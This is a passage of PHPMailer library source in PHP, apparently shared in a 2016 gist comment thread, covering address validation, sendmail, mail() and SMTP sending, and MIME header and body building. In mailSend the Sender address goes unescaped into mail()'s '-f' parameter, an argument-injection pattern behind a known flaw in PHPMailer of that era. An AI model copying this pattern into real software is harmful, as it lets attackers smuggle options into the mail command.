            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } else {
            $this->ContentType = 'text/plain';
        }
    }
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }
    public function isMail()
    {
        $this->Mailer = 'mail';
    }
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');
        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');
        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }
    public function addAddress($address, $name = '')
    {
        return $this->addAnAddress('to', $address, $name);
    }
    public function addCC($address, $name = '')
    {
        return $this->addAnAddress('cc', $address, $name);
    }
    public function addBCC($address, $name = '')
    {
        return $this->addAnAddress('bcc', $address, $name);
    }
    public function addReplyTo($address, $name = '')
    {
        return $this->addAnAddress('Reply-To', $address, $name);
    }
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
            $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
            $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
            if ($this->exceptions) {
                throw new phpmailerException('Invalid recipient array: ' . $kind);
            }
            return false;
        }
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this->validateAddress($address)) {
            $this->setError($this->lang('invalid_address') . ': ' . $address);
            $this->edebug($this->lang('invalid_address') . ': ' . $address);
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!isset($this->all_recipients[strtolower($address)])) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this->validateAddress($address)) {
            $this->setError($this->lang('invalid_address') . ': ' . $address);
            $this->edebug($this->lang('invalid_address') . ': ' . $address);
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }
    public static function validateAddress($address, $patternselect = 'auto')
    {
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }
    public function preSend()
    {
        try {
            $this->mailHeader = '';
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }
            // Set whether the message is multipart/alternative
            if (!empty($this->AltBody)) {
                $this->ContentType = 'multipart/alternative';
            }
            $this->error_count = 0; // reset errors
            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEBody = $this->createBody();
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }
            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                && !empty($this->DKIM_private)
                && !empty($this->DKIM_selector)
                && file_exists($this->DKIM_private)) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }
    protected function sendmailSend($header, $body)
    {
        if ($this->Sender != '') {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            } else {
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
            } else {
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
            }
        }
        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);
        if (empty($this->Sender)) {
            $params = ' ';
        } else {
            $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }
  public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if ('' == $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }
    public function smtpConnect($options = array())
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }
        if ($this->smtp->connected()) {
            return true;
        }
        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;
        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
                continue;
            }
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                $secure = 'tls';
            }
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    $this->smtp->quit();
                }
            }
        }
        $this->smtp->close();
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }
    public function smtpClose()
    {
        if ($this->smtp !== null) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        if ($langcode != 'en') { // There is no English translation file
            // Make sure language file path is readable
            if (!is_readable($lang_file)) {
                $foundlang = false;
            } else {
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }
    public function getTranslations()
    {
        return $this->language;
    }
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    public function wrapText($message, $length, $qp_mode = false)
    {
        $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);
        $message = $this->fixEOL($message);
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }
        $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
        $message = '';
        for ($i = 0; $i < count($line); $i++) {
            $line_part = explode(' ', $line[$i]);
            $buf = '';
            for ($e = 0; $e < count($line_part); $e++) {
                $word = $line_part[$e];
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if ($e != 0) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);
                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    $buf .= ($e == 0) ? $word : (' ' . $word);
                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
            }
            $message .= $buf . self::CRLF;
        }
        return $message;
    }
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) { // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    $maxLength = ($encodedCharPos == 0) ? $maxLength :
                        $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec >= 192) { // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }
        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }
    public function createHeader()
    {
        $result = '';
        // Set the boundaries
        $uniq_id = md5(uniqid(time()));
        $this->boundary[1] = 'b1_' . $uniq_id;
        $this->boundary[2] = 'b2_' . $uniq_id;
        $this->boundary[3] = 'b3_' . $uniq_id;
        if ($this->MessageDate == '') {
            $this->MessageDate = self::rfcDate();
        }
        $result .= $this->headerLine('Date', $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }
        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }
        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }
        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }
        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }
        if ($this->MessageID != '') {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
        }
        $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
        $result .= $this->headerLine('X-Priority', $this->Priority);
        if ($this->XMailer == '') {
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }
        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
        }
        // Add custom headers
        for ($index = 0; $index < count($this->CustomHeader); $index++) {
            $result .= $this->headerLine(
                trim($this->CustomHeader[$index][0]),
                $this->encodeHeader(trim($this->CustomHeader[$index][1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }
        return $result;
    }
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }
        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }
        return $result;
    }
    public function getSentMIMEMessage()
    {
        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
    }

    public function createBody()
    {
        $body = '';
        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }
        $this->setWordWrap();
        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            $bodyCharSet = 'us-ascii';
        }
        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            $altBodyCharSet = 'us-ascii';
        }
        switch ($this->message_type) {
            case 'inline':
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $

@fidian
Copy link

fidian commented Jul 1, 2016

Apparently that is too big. Starting from the case 'alt': line.

            case 'alt':
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
